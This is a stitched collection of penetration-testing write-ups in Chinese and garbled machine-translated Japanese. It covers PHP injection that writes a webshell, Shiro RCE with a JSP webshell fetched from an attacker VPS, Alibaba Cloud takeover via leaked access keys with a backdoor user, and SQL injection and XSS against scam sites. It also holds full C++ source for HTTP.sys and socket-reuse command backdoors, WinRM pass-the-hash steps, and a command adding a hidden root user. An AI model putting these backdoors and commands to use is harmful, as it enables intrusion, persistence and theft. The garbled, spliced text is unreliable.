注入もクールです。 0日のリズムを取り出してほしいと思われますか?それを忘れて、耐えましょう。いくつかの調査の後、詳細は投稿されず、ここでは千の単語が省略されます。あなたがあまりにも多くのことを言ったら、それはすべて涙です.最後に、Phpinfoがリリースされ、ペイロードはバージョン7.2の上にあります。

/?a=fetchContent=?=phpinfo(); exit();これはシェルに近いステップではなく、disable_functionsが非常に多く無効になっていることがわかります。

图片

私はここでアサート関数を使用して書くことを試みました、そしてそれが行われたと思いましたが、結果はまだ返されました1

图片

@Assert関数は機能しません。ここでは、file_get_contentsを読み取り、データベース構成ファイルを読み取ることができます

图片

config.phpファイルを読み続けたとき、アプリをダウンロードしたときにAlibaba Cloud OSSに配置されたことを突然思い出しました。その構成ファイルにはAlibaba CloudキーとIDが必要であることは論理的ですが、結局のところ現実は非常に残酷であるため、Aliyunの文字さえ見ませんでした。

图片

一部の構成ファイルで読み取るものは何もなく、データベースとRedisを外部で接続することはできません。そこで、シェルを書いて注意深く裏返し、file_put_contentsを使用してファイルを読み取ることを試みます。

图片

不可能だと思われます。パラメーターの問題が原因ですか? file_get_contentsは任意のファイルを読み取ることができますか、それともディレクトリを書き込むことができませんか? /tmp/1.txtで書き込もうとすると、同じエラーも報告されました。 PHPはファイルを書き込むために他の機能も必要だと思ったので、w3schoolはひっくり返しました

图片

123をi.txtに書き込み、ファイルを正常に書き込みます

图片

图片

PHPに文を書くようにしてください、そして、それはテンプレートが存在しないことを促します。どうすればいいですか?シェルが取得されたことがわかりました。 FWRITEパラメーターを注意深くご覧ください。 W+は書き込みを開くことで、R+は追加します。 1つのキャラクターを1つずつ書きたいですか?そうです、それはただ一人のキャラクターを1人のキャラクターに書くことです。a=fetchContent=%3c?=@$ fp=fopen(%221.php%22、%27a+%27);%20fwrite($ fp、%27%27); exit();图片

最後にゲルシェル

图片

バイパスコマンドの実行とリバウンドシェル

图片

次に、パック +ズボンを脱ぎます

mysqldump -h127.0.0.1 -uxxxx -p

0x00 前言

2022.8.X单位突然通知参与某行业专项攻防演练,本着学习的目的参与了一波,特此记录。

0x01 打点

获得目标单位名称

先通过爱企查、天眼查等工具查询目标及目标下属单位信息

可以利用工具:ENEScan_GO

接着就是信息收集三板斧

子域名、IP、端口

收集子域名:OneForAll(API要配置全一点)、Subfinder、FOFA、Hunter

收集IP:Eeyes、domain2ip

端口扫描:Goby、Nmap、Masscan

这里使用的是Goby全端口扫描,扫描速度堪忧,但优点是比较全面且展示效果较好。

端口扫描后筛出Web类与非Web类端口,便于精确打击。

Web类可以先统一进行指纹识别,优先攻击一些重点的框架系统 比如(Shiro、通达OA、用友NC等)

非web类可以筛出来进行服务爆破,一些特殊的端口可以优先摸一下试试,比如6379 Redis

0x02 获取突破口

一番操作之后,通过以上打点,得到了一个Shiro框架的系统,这个系统是访问路径后默认跳转到SSO平台进行登录的。想进入该系统,入口必须是走SSO平台登录验证后进入。但是经过手工口令测试,发现通过弱口令进SSO系统有点困难,战略性放弃。
先利用Shiro反序列化工具查看是否存在RCE漏洞。

image-20220825152609345.png

这边给个建议,不同工具可能不一定能抛出Key和利用链,大家在进行测试的时候,手里尽量多换几个工具来测试,我这里换了三个工具才跑出Key和利用链,其他的工具就是跑不出(不是Key字典的问题,就是单纯跑不出。。。)

image-20220825154032692.png

image-20220825154317117.png

Linux机子,whoami Root权限,ping www.baidu.com 出网。
先用linux语句 根据网站的静态文件名称找一下目录地址

find / -name 404.jsp

image-20220825154413821.png

直接到能访问的网站根目录下 wget我VPS上的JSP马,接着蚁剑连接。

image-20220825155446999.png

翻了一下/webapps下,发现是3个系统+SSO系统
猜测只要经过SSO验证就可以访问其他的3个系统

image-20220825160138665.png

接着开始翻配置文件
在路径 /webapps/xxx/WEB-INF/classes/ 
发现一个dbconfig.properties文件,发现了MySQL与Redis的连接信息。(要打码的东西较多,我就不放了)
MySQL是阿里云的,不是内网本地的,看了一下,发现原来打的这台机子是云主机。
白高兴一场,想着下一步就连一下MysQL看看能不能登陆SSO 以及接着翻翻看看有什么文件还有泄露配置信息然后就收工了。
mysql连接后,看到了SSO的库,以及其他3个系统的库,但当务之急是先看看能否登录SSO
查看SSO表中的sso_pwd字段

image-20220825161123156.png

发现是加密的。。。还不是普通的加密。(蚌埠住了。。)

0x03 柳暗花明

正当准备写报告收工时,一个名为 config.properties 的文件引起了我的注意。
点开查看了一下发现 what!!!

image-20220825161652464.png

SSO加密的密钥对 以及 Aliyun的accesskeyID和Secret

起飞!

0x04 解密SSO密码

RSA加密、RSA解密 - 在线工具 - OKTools
image-20220825162544727.png

密码竟然是随机生成的。。。这辈子都爆破不出来。。
登录SSO系统

image-20220825162843993.png

接着通过数据库中的其他库的密码 进入3个系统,图片我就不放了(要打码的东西太多了。。。。)。

0x05 接管云平台

前几天才看到的TeamSix师傅的文章,今天正好有现成环境复现,美滋滋。
我用 CF 打穿了他的云上内网 | T Wiki (teamssix.com)
CF工具地址:
teamssix/cf: Cloud Exploitation Framework 云环境利用框架,方便红队人员在获得 AK 的后续工作 (github.com)

cf alibaba ls

查看云资源

image-20220825164049756.png
1个bucket桶 + 2个OSS资源 + 1个ECS资源

cf alibaba console

添加后门用户接管阿里云控制台

image-20220825163327862.png

image-20220825164425766.png

访问控制中看到当前权限为:AdministratorAccess 意味着我们已经拿到了该租户的管理员权限
image-20220825164744159.png

翻一下 OSS资源以及ECS资源
OSS:

image-20220825164840765.png

ECS:

image-20220825164925978.png

image-202208251655288.png

至此,完事,写报告,收工。

0x06 总结

复现了一波AK接管云平台,感觉收获良多,相信云安全这块以后也会成为攻防演练的突破口。
此外,这次的攻击路径有点太过顺利了,不管是发现Shiro框架还是翻配置文件找到RSA密钥对和AK配置信息,我一度以为是蜜罐。。。

番外:
写报告的时候,和队友聊了一下,没想到这个站还是靶标。。。。只能说攻防演练,运气也是很重要的。。。。


原文连接: https://forum.butian.net/share/1854

WinRM实现端口复用

这种攻击方式前提是需要帐号和密码,如果在获得hash的情况下也可以利用evil-winrm来实现hash登录

服务介绍

WinRM全称是Windows Remote Management,是微软服务器硬件管理功能的一部分,能够对本地或远程的服务器进行管理。WinRM服务能够让管理员远程登录Windows操作系统,获得一个类似Telnet的交互式命令行shell,而底层通讯协议使用的是HTTP。

后门应用

在windows2012服务器中,winrm默认启动,开启了5985端口,在2008系统中需要手动开启服务

winrm quickconfig -q

启动后防火墙也会放行该端口
20210104174750
设置启用httplistener监听并存

winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"} //80
winrm set winrm/config/service @{EnableCompatibilityHttpsListener="true"} //443

20210104174922

修改监听端口为80/443

winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
winrm set winrm/config/Listener?Address=*+Transport=HTTPS  @{Port="443"}

20210104175540

本地连接也需要开启WinRM服务,然后设置信任连接的主机,

winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}
winrs -r:http://172.16.142.151:5985 -u:administrator -p:admin123 "whoami"

20210105131322
20210105125247

WinRM PTH

mac下使用evil-winrm实施pth

sudo gem install evil-winrm
evil-winrm -i 172.16.142.151 -u administrator -H 8842xxxxxxx9c89a -P 80

测试了下复用后也是可以pth连接的。
20210105131325
20210105131152

HTTP.sys端口复用

HTTP.sys介绍

这种方法的应用场景是针对IIS,HTTP.sys是Microsoft Windows处理HTTP请求的内核驱动程序,为了优化IIS服务器性能,从IIS6.0引入,IIS服务进程依赖HTTP.sys

1 当IIS或者其他的应用使用HTTP Server API去监听请求路径的时候,这些应用需要在HTTP.SYS上面注册url prefix ,关于注册URL的规则,可以参考MSDN: https://msdn.microsoft.com/en-us/library/windows/desktop/aa364698(v=vs.85).aspx 。这是注册的过程。
2 当一个请求到来并被http.sys获取到,它需要分发这个请求给注册当前url对应的应用,这是路由的过程。

劫持程序实现

这样我们可以自己写一个注册url功能的exe,然后根据请求访问url来实现后门功能。
注册代码参考msdn和stackoverflow上的代码:

https://stackoverflow.com/questions/14931705/microsoft-c-http-server-api-httpapi-lib-httpreceiveclientcertificate-functio
https://docs.microsoft.com/zh-cn/windows/win32/http/http-server-sample-application

DWORD DoReceiveRequests(IN HANDLE hReqQueue)
{
    ULONG              result;
    HTTP_REQUEST_ID    requestId;
    DWORD              bytesRead;
    PHTTP_REQUEST      pRequest;
    PCHAR              pRequestBuffer;
    ULONG              RequestBufferLength;

    //
    // Allocate a 2 KB buffer. This size should work for most 
    // requests. The buffer size can be increased if required. Space
    // is also required for an HTTP_REQUEST structure.
    //
    RequestBufferLength = sizeof(HTTP_REQUEST) + 2048;
    pRequestBuffer = (PCHAR)ALLOC_MEM(RequestBufferLength);

    if (pRequestBuffer == NULL)
    {
        return ERROR_NOT_ENOUGH_MEMORY;
    }

    pRequest = (PHTTP_REQUEST)pRequestBuffer;

    //
    // Wait for a new request. This is indicated by a NULL 
    // request ID.
    //

    HTTP_SET_NULL_ID(&requestId);

    for (;;)
    {
        RtlZeroMemory(pRequest, RequestBufferLength);

        result = HttpReceiveHttpRequest(
            hReqQueue,          // Req Queue
            requestId,          // Req ID
            0,                  // Flags
            pRequest,           // HTTP request buffer
            RequestBufferLength,// req buffer length
            &bytesRead,         // bytes received
            NULL                // LPOVERLAPPED
        );
        if (NO_ERROR == result)
        {

            DWORD answer = 0;
            HTTP_SSL_CLIENT_CERT_INFO sslClientCertInfo;
            ULONG bytesReceived;
            answer = HttpReceiveClientCertificate(hReqQueue, pRequest->ConnectionId, 0,
                &sslClientCertInfo, sizeof(HTTP_SSL_CLIENT_CERT_INFO), &bytesReceived, NULL); //注册后等待接收
            char* command;
            char temp[512];
            string cmd_temp;
            strcpy_s(temp, pRequest->pRawUrl);
            command = temp;
            command = strstr(command, "cmd=");
            if (command == NULL)
                continue;
            cmd_temp.assign(command);
            cmd_temp.replace(cmd_temp.find("cmd="), 4, "");
            //------------------------------------
            uint8* text = (uint8*)cmd_temp.c_str();
            uint32 text_len = (uint32)strlen((char*)text);
            uint8 buffer[1024], buffer2[4096];
            uint32 size = base64_decode(text, text_len, buffer);
            buffer[size] = 0;
            //------------------------------------
            printf("%s", buffer);
            if (answer != NO_ERROR)
            {

                string results;
                if (cmd_temp.size() == 0)
                    continue;
                char* tis((char*)buffer);
                HANDLE hRead, hWrite;
                CreatePipecmd(tis, hRead, hWrite, results);
                result = SendHttpResponse(hReqQueue, pRequest, 401, "Unauthorized request", PSTR(results.c_str()));
            }
            else
            {
                result = SendHttpResponse(hReqQueue, pRequest, 200, "OK", "OK");
            }

            if (result != NO_ERROR)
            {
                //break; //if failed to send response, stop listening for further incoming requests
            }
            //
            // Reset the Request ID to handle the next request.
            //
            HTTP_SET_NULL_ID(&requestId);
        }
        else
        {
           // break;
        }

    }
    if (pRequestBuffer)
    {
        FREE_MEM(pRequestBuffer);
    }

    return result;
}

HttpReceiveClientCertificate提供客户端为响应服务器的客户端标识请求而颁发的客户端证书字段。
等待访问来源后
截取cmd=后字段内容

char* command;
char temp[512];
string cmd_temp;
strcpy_s(temp, pRequest->pRawUrl);
command = temp;
command = strstr(command, "cmd=");
if (command == NULL) //防止为空时报错。
    continue;
cmd_temp.assign(command);
cmd_temp.replace(cmd_temp.find("cmd="), 4, "");

对传入内容base64解码

uint8* text = (uint8*)cmd_temp.c_str();
uint32 text_len = (uint32)strlen((char*)text);
uint8 buffer[1024], buffer2[4096];
uint32 size = base64_decode(text, text_len, buffer);
buffer[size] = 0;

base64解码函数

#include <stdio.h>
#include <string.h>
#include <assert.h>
typedef unsigned char     uint8;
typedef unsigned long    uint32;
static uint8 alphabet_map[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
static uint8 reverse_map[] =
{
     255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
     255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
     255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 62, 255, 255, 255, 63,
     52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 255, 255, 255, 255, 255, 255,
     255,  0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14,
     15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 255, 255, 255, 255, 255,
     255, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40,
     41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 255, 255, 255, 255, 255
};
uint32 base64_decode(const uint8* code, uint32 code_len, uint8* plain)
{
    assert((code_len & 0x03) == 0);  //如果它的条件返回错误,则终止程序执行。4的倍数。

    uint32 i, j = 0;
    uint8 quad[4];
    for (i = 0; i < code_len; i += 4)
    {
        for (uint32 k = 0; k < 4; k++)
        {
            quad[k] = reverse_map[code[i + k]];//分组,每组四个分别依次转换为base64表内的十进制数
        }

        assert(quad[0] < 64 && quad[1] < 64);

        plain[j++] = (quad[0] << 2) | (quad[1] >> 4); //取出第一个字符对应base64表的十进制数的前6位与第二个字符对应base64表的十进制数的前2位进行组合

        if (quad[2] >= 64)
            break;
        else if (quad[3] >= 64)
        {
            plain[j++] = (quad[1] << 4) | (quad[2] >> 2); //取出第二个字符对应base64表的十进制数的后4位与第三个字符对应base64表的十进制数的前4位进行组合
            break;
        }
        else
        {
            plain[j++] = (quad[1] << 4) | (quad[2] >> 2);
            plain[j++] = (quad[2] << 6) | quad[3];//取出第三个字符对应base64表的十进制数的后2位与第4个字符进行组合
        }
    }
    return j;
}

命令执行,这里我用的createprocess+命名管道实现命令结果的回传。

string results;
if (cmd_temp.size() == 0)
    continue;
char* tis((char*)buffer);
HANDLE hRead, hWrite;
CreatePipecmd(tis, hRead, hWrite, results);
result = SendHttpResponse(hReqQueue, pRequest, 401, "Unauthorized request", PSTR(results.c_str()));

为了防止输入cmd.exe/calc.exe这种造成阻塞,我用sleep 1秒后kill掉进程。
先创建命名管道,将CreateProcess执行结果传入命名管道中,最后Readfile,再将读取内容传给result中。

BOOL KillProcess(DWORD ProcessId)
{
    HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, ProcessId);
    if (hProcess == NULL)
        return FALSE;
    if (!TerminateProcess(hProcess, 0))
        return FALSE;
    return TRUE;
}
char* CreatePipecmd(char* pszCmd, HANDLE& hRead, HANDLE& hWrite, string& result)
{
    SECURITY_ATTRIBUTES sa;
    sa.nLength = sizeof(sa);
    sa.bInheritHandle = TRUE;
    sa.lpSecurityDescriptor = NULL;
    HANDLE hCmdRead, hCmdWrite;
    char buf[2048] = { 0 };
    DWORD len;
    CreatePipe(&hRead, &hCmdWrite, &sa, 0);
    int nRet = CreatePipe(&hCmdRead, &hWrite, &sa, 0);
    if (nRet == 0) {        //管道创建失败
        printf("CreatePipecmd()::CreatePipe() fail!\n");
        return NULL;
    }
    STARTUPINFO startinfo;          //设置cmd启动参数
    GetStartupInfo(&startinfo);
    startinfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    startinfo.hStdInput = hCmdRead;
    startinfo.hStdOutput = hCmdWrite;
    startinfo.hStdError = hCmdWrite;
    startinfo.wShowWindow = SW_HIDE;
    PROCESS_INFORMATION proinfo;    //创建cmd进程
    nRet = CreateProcess(NULL, pszCmd, NULL, NULL, 1, 0, NULL, NULL, &startinfo, &proinfo);
    int pid = GetProcessIdOfThread(proinfo.hThread);
    CloseHandle(hCmdRead);      //关闭cmd读写句柄HANDLE
    CloseHandle(hCmdWrite);
    CloseHandle(proinfo.hThread);
    CloseHandle(proinfo.hProcess);
    if (0 == nRet) {
        printf("CreatePipecmd()::CreateProcess() fail.\n");
        CloseHandle(hRead);
        CloseHandle(hWrite);
        result += buf;
    }
    Sleep(100);
    KillProcess(pid);
    while (ReadFile(hRead, buf, 2047, &len, NULL))
    {
        printf(buf);
        result += buf;
        ZeroMemory(buf, 2047);
    }
}

实现效果:
uh12t-ubagi

可以看到其中最初curl 1111.jsp是返回的404,后面注册url了后可以实现后门功能,而且calc不会造成阻塞,whoami也成功执行,带参数的route print也没有问题,route输出的内容比较多也没有问题。如果希望使用这个上线建议把上线命令写成ps1/bat/vbs,然后再去执行。

普通用户权限实现后门

上面介绍的都是在管理员权限使用。在普通用户下如何实现。
netsh http show urlacl

查看所有urlacl。
20210105165543

找到有一个自带url是everyone的

http_sys_backdoor.exe http://+:80/Temporary_Listen_Addresses/111.jsp

20210105170450

也可以自己手动添加everyone映射。

netsh http add urlacl url=http://+:80/1111.jsp user=everyone

IIS模块劫持实现

找了下资料看到3好学生介绍了两个项目,分别是C#和Cpp的实现,就不再重复造轮子了。

C

先简单说一下实现原理,在IIS7之后支持了集成模式,区别于之前的ISAPI的形式,可以通过C#编写托管模块处理网站的所有请求,这在IIS6中需要通过非托管代码写ISAPI filter来完成。

20210107111811

利用项目

https://github.com/WBGlIl/IIS_backdoor
整体获取Cookie中的关键字字段来进行执行相关内容和返回结果。如果不匹配相关内容就放过扔给后面程序。

代码说明:

https://mp.weixin.qq.com/s/z1d3yvp14GWakyonTh_b8A

实现效果
20210107172133

使用前提:
IIS开启应用程序开发功能。
20210107161819

这里在添加模块处需要注意.net版本。
20210107162415

Cpp

https://github.com/0x09AL/IIS-Raid

20210108114458

利用SO_REUSEADDR和SO_REUSEPORT端口复用

查到资料有提过这种思路,当这个api的第三个参数取值设置为SO_REUSEADDR时,套接字端口是可以共享复用的。但是此方法只针对Apache和IIS5.0以下版本有效。
因为在IIS6.0开始微软将网络通信封装在了ring0层,使用http.sys驱动进行通讯,所以针对iis的版本是在6.0以下,但是apache 的效果是可以使用的。

这里有个技巧是如果第一个监听进程是使用管理员/System权限启动得到话,常见:监听0.0.0.0:80,那么我们可以通过管理员权限建立一个127.0.0.1:80/10.10.10.x:80 其他网卡指定ip的监听。
如果使用普通用户实现的第一次监听,那么第二次监听我们可以使用管理员或者普通用户来进行复用。

复用的参考代码可以看:https://xz.aliyun.com/t/1661

//绑定操作
    saddr.sin_family = AF_INET;
    saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
    saddr.sin_port = htons(80);
    if ((server_sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == SOCKET_ERROR)
    {
        printf("error!socket failed!//n");
        return (-1);
    }
    //复用操作
    if (setsockopt(server_sock, SOL_SOCKET, SO_REUSEADDR, (char *)&val, sizeof(val)) != 0)
    {
        printf("[!] error!setsockopt failed!//n");
        return -1;
    }
    if (bind(server_sock, (SOCKADDR *)&saddr, sizeof(saddr)) == SOCKET_ERROR)
    {
        ret = GetLastError();
        printf("[!] error!bind failed!//n");
        return -1;
    }
    listen(server_sock, 2);
    while (1)
    {
        caddsize = sizeof(scaddr);
        server_conn = accept(server_sock, (struct sockaddr *)&scaddr, &caddsize);
        if (server_conn != INVALID_SOCKET)
        {
            mt = CreateThread(NULL, 0, ClientThread, (LPVOID)server_conn, 0, &tid);
            if (mt == NULL)
            {
                printf("[!] Thread Creat Failed!//n");
                break;
            }
        }
        CloseHandle(mt);
    }
    closesocket(server_sock);
    WSACleanup();
    return 0;

20210131200052

20210129214937

最终实现如上图,但是有一点问题就是原文中直接返回的交互cmd,这样会导致正常80访问阻塞。开启监听后如果80有访问的话监听就会给客户端返回个cmd。

后面根据前面那个IIS后门修改了下,可以实现访问和后门相互无影响。

int main()
{
    WSAData wsaData;
    SOCKET listenSock;
    // 1st:  initial wsadata and socket
    WSAStartup(MAKEWORD(2, 2), &wsaData);
    listenSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
    // 设置复用
    BOOL val = TRUE;
    setsockopt(listenSock, SOL_SOCKET, SO_REUSEADDR, (char*)&val, sizeof(val));
    // 绑定
    sockaddr_in sockaaddr;
    sockaaddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ////可自行更改IP,gethostbyname()
    sockaaddr.sin_family = AF_INET;
    sockaaddr.sin_port = htons(80);
    int ret;
    ret = bind(listenSock, (struct sockaddr*)&sockaaddr, sizeof(sockaddr));
    ret = listen(listenSock, SOMAXCONN);
    // 监听
    int len = sizeof(sockaaddr);
    SOCKET recvSock;
    printf("Start Listen......");
    recvSock = accept(listenSock, (struct sockaddr*)&sockaaddr, &len);
    closesocket(listenSock);
    int iResult = 0,iSendResult = 0;
    #define DEFAULT_BUF_LEN 512
    char caRecvBuf[DEFAULT_BUF_LEN];
    do 
    {
        iResult = recv(recvSock, caRecvBuf, DEFAULT_BUF_LEN, NULL);
        if (iResult > 0)
        {
            printf("Receive %d bytes of data...\n", iResult);
            string results;
            char buffer[1024];
            char* tis((char*)buffer);
            HANDLE hRead, hWrite;
            CreatePipecmd(caRecvBuf, hRead, hWrite, results);

            char* p = (char*)results.data();
            //iSendResult = send(ConnectionSocket, p, sizeof(results), NULL);
            iSendResult = send(recvSock, p, 2048, NULL);
            if (iSendResult == SOCKET_ERROR)
            {
                printf("fail to call send function\n");
                closesocket(recvSock);
                WSACleanup();
                return 1;
            }
            printf("Send %d bytes of data...\n", iResult);
        }
        else if (iResult == 0)
        {
            printf("End sending data\n");
        }
        else
        {
            printf("fail to call recv function\n");
            closesocket(recvSock);
            WSACleanup();
            return 1;
        }
    } while (iResult > 0);
    iResult = shutdown(recvSock, SD_BOTH);
    WSACleanup();
    return 0;
}

5fxh8-1tcpk

w3wp.exe利用

这个进程是IIS在以服务用户启动的进程,对用户访问网站时都会转到w3wp.exe进程进行处理。
上网冲浪中找到了这个思路,博主在跟api的时候找到了有CreatefileW函数调用所以hook了
原文:https://www.freebuf.com/articles/system/11305.html
代码:https://github.com/zhang5521/Aiwb
我在复现的过程中发现在win7/2008环境下针对w3wp.exe注入dll失败,而且通过apimonitor上也没有找到针对CreateFileW的调用,后来用之前的思路ZWcreatethreadex函数绕过session隔离,注入进程,但是还是失败,dll挂不上,而且将git上的代码编译后也无法在该环境使用。最后终于注意到了日期。估计是针对2003/iis5的环境有使用CreatefileW。这个思路等着其他大哥有环境的去测试下吧。

后来又找到一个针对安全狗这类的安全软件怎么监控IIS执行命令,判断是hook了w3wp.exe的CreateProcess函数。
文章:https://lufe1.cn/2018/07/18/%E5%AE%89%E5%85%A8%E7%8B%97%E7%A6%81%E6%AD%A2iis%E6%89%A7%E8%A1%8C%E6%8E%A2%E7%A9%B6/index.html
文章:https://lufe1.cn/2017/09/17/IIS%E5%91%BD%E4%BB%A4%E7%9B%91%E6%8E%A7/index.html

然后找到了bo主写的代码,本地测试还是不行 win7+iis7 windows2008+ iis8.5 x64都是进程注入失败

20210129161129

自己写的hook也尝试了,注入失败。

不想了,这算是个思路吧,

iptables端口转发

整体思路就是利用ssh软连接创建一个免密/key登录端口,iptables根据来源ip来分流到ssh服务中,这样后续建立的代理也是比较稳定的,而且是正向代理。
不过需要在实战中注意的是,很多服务器是通过负载ng来实现的,这样iptables的来源ip确认就很有必要了。还有就是很多根据不同路径路由到不同后端服务器的情况,在这种情况下你是无法指定连接正向的目标服务器,这样后面的服务器就无法连接到。

命令:

将对外开放的80端口流量转向本机22(只对8.8.8.0/24的来源IP有效,其他IP访问完全正常):

iptables -t nat -A PREROUTING -p tcp -s 8.8.8.0/255.255.255.0 --dport 80 -j REDIRECT --to-ports 22

这样我们访问目标的80就相当于访问它的22,可以通过添加用户,可以写key,或者软连接后门都可以,达到无缝接入目标内网的目的。

附一句话添加超级用户命令:

iptables -t nat -A PREROUTING -p tcp -s 8.8.8.0/255.255.255.0 --dport 80 -j REDIRECT --to-ports 22
useradd -o -u 0 -g 0 ftps && usermod -p abZUy3uRlfJWA ftps   //密码为adminxxx.    python -c "import crypt;print crypt.crypt('adminxxx.','ab')"

https://stackoverflow.com/questions/14931705/microsoft-c-http-server-api-httpapi-lib-httpreceiveclientcertificate-functio
https://www.cnblogs.com/-qing-/p/11427512.html 渗透测试-端口复用正向后门
https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8IIS%E7%9A%84%E7%AB%AF%E5%8F%A3%E5%85%B1%E4%BA%AB%E5%8A%9F%E8%83%BD%E7%BB%95%E8%BF%87%E9%98%B2%E7%81%AB%E5%A2%99/ 利用IIS的端口共享功能绕过防火墙
https://blog.csdn.net/directionofear/article/details/8155260 C#实现的自定义IIS认证模块



本文转载自: http://8sec.cc/index.php/archives/450/

0x00はじめに

昨年、私はウェイブで買い物をしていました。私はもともと、私のトレース能力を練習するためにいくつかのIPを見つけようとしていましたが、私は誤って豚の殺害ディスクを発見しました。この記事に不足している部分がある場合は、時間内にそれらを指摘してください。このターゲットを再び登場するために私を見つけてワイブに行かないでください。このケースは、完全に担当者に引き渡されました。

0x01簡単なレシピ

Image

リンクを開いたとき、強い「マイクロディスク」オーラがやってくるのを見ました。この一連のソースコードを自分で監査していたので、対応する場所を直接見つけてXSSと呼ばれます。その結果、マイクロディスクが3オープンしたことが判明しました。はい、3オープンしました!

必死になって、私はまだ古いアイデアを使用し、フレームワークレポートをエラーにし、バージョン番号を見て、RCEを通過する方法を見つけます。

Image

バージョン番号と物理的なパスを取得すると、実際には詳細があります。下の写真を見ることができます。

Image

これがserver_nameとserver_addrです。以前に同様のプロジェクトに取り組んでいた状況に遭遇しました。ページのレポートにエラーがあることに応じて供給された2つの情報には、実際のIPが含まれている可能性があります。ターゲットリアルIPが見つからない場合は、このトリックを試すことができます。

誰もが、そのようなターゲット、他のサイドステーション、港、その他のコレクションが役に立たないことを知っているので、詳細は説明しません。

アカウントを登録して見ました。それを使用する意味はありませんでした。この時点で、私は突然、商品/PIDに注入があったことを思い出しました。私たちは以前にそれを打つために私たち自身の日を使ったので、私はこの注入ポイントを使用したことがありませんでした。今日は試してみます。

Image

ビンゴ!これは非常に厄介です。物理的な道を知っているなら、シェルを渡すことができますか?いいえ、それは不可能であり、十分な権限がありません。

しかし、私が見つけたものを見てください!

Image

データベース情報は不可解に表示されているので、直接接続できますか?明らかにそうではありません。なぜなら、外部から接続できないからです。

0x02正しい

膠着状態は約10分間続きました。私が見つけたものを見てください。

Image

ハハハ管理者、どうやってこれを見つけたの?前に、このシステムの最初と2番目のオープニングを監査したことを前に述べました。特定の特定のディレクトリにこのような管理者データベース管理システムがあるので、このターゲットからもファズになり、それを見つけてから接続します。

疑わしいIPを見つけ、信頼性、位置決めなどを確認してください。

Image

案の定、それは再び私たちの大雲母にあります。

証拠の完全性を確保するために、私たちはまだ背景に写真を撮る方法を見つけなければなりません。私は今カレーにいるので、ブラインドヒットXSが成功しない場所を強制することができ、XSの支払い負荷を強制してから、カスタマーサービスを引き起こすように誘導できます。

Image

Image

Image

それから私は入りました。バックグラウンドアップロードポイントは3番目のバージョンで削除されました。データベースのシェルアクセス許可は十分ではなく、必要なサービスを有効にできなかったため、最終的にシェルを取得できませんでした。

元のリンクで転載: https://mp.weixin.qqc.com/s?__biz=mzg4mjcxmtawmq==mid=2247486198Idx=1Sn=e41bc5d7e4aee7314beaab7f5830435dchksm=CF53Ca4 0F8244356493DFF79A82E26A8C3EF89C50C4508DE61CACF523527534D383E6D6B24445SCENE=178CUR_ALBUM_ID=28315116888864565656580#RD

0x00インシデントの原因

私は3999の貯蔵前の電話手形に遭遇し、タブレットを送るようにだまされました。 Alipayは運営され、現金を払い、お金を譲渡し、私のHuabeiを奪いました。

家に帰ったとき、私は何かが間違っていると感じ、それをますます後悔しました。私はこの種の活動についてオンラインで検索し、それらの多くを捕まえましたが、それらはまったく同じでした。私がそれを見れば見るほど、私は怒りになりました。

图片

最も重要なことは、私が与えたタブレットは800元であり、これは販売前の電話代の価値がなく、実際には立ち往生していたので、私はより深く掘り下げることにしました。

0x01情報収集

検証テキストメッセージによって送信された短いドメイン名リンクをブラウザにコピーして、url xx.xxxx.xx.xxを解決します。良い男は明らかに公式のモバイル担当者の下にいません。彼はWebマスターツールを介してURLを検索して分析し、CDNを有効にせずにAlibaba Cloudに解決しました。ドメイン名ホルダーは、広東省のテクノロジー企業です。ドメイン名は今年11月に失効しました。会社を捜索した後、私は4つの大きな単語「Operation異常」が異常であることがわかりました。数千人の電話手形はとてもクールでなければなりません。

图片 图片 图片

NMAP -P 1-65355 xx.xxxx.xxを使用して取得したドメイン名をスキャンすることにより、どのサービスがオープンしているかを確認し、そのサービスから開始するサービス80と22のみがあることがわかります。

图片

ポート80へのWebサービスにアクセスした後、このインターフェイスは、テキストメッセージコンテンツの短いドメイン名からジャンプするインターフェイスでもあります。

图片

そのURLフォームは/admin/user/loginの明らかなユーザーログインインターフェイスです。誰もが知っているように、管理者は管理を意味します。直感により、レイヤーごとにディレクトリアクセスレイヤーを削減し、管理者/ログインのマーチャント管理インターフェイスになります。

图片

0x02脆弱性マイニング

現在、2つのログインインターフェイスが見つかりました。舞台裏のログインには、ブラスト操作を実行するための検証コードはありませんが、前提条件は商人の携帯電話番号を知ることです。通常、自分のユーザーにログインして、利用可能な場所があるかどうかを確認しましょう。機能は非常に単純で、利用可能な場所はありません。アバターを編集してアップロードすることはできません。このインターフェイスは、表示される電話料金の合計量のみを提供します。このようなプラットフォームを使用して、過去数か月間に消費者を怖がらせるために数字を表示するだけです。

图片

ユーザーを終了してバープを使用してパケットをキャプチャして送信されたデータを分析し、正しい携帯電話番号検証コードとSMS検証コードを入力してパケットキャプチャを有効にしますが、パラメーターはすべてプレーンテキストで送信され、検証コードはすべて正しいことがわかります。他のユーザーに置き換えた場合、普及しているレベルのレベルに到達できますか?モバイルの交換番号は、他のユーザーに正常にログインし、普及しているレベルのレベルを取得しました。

图片 图片

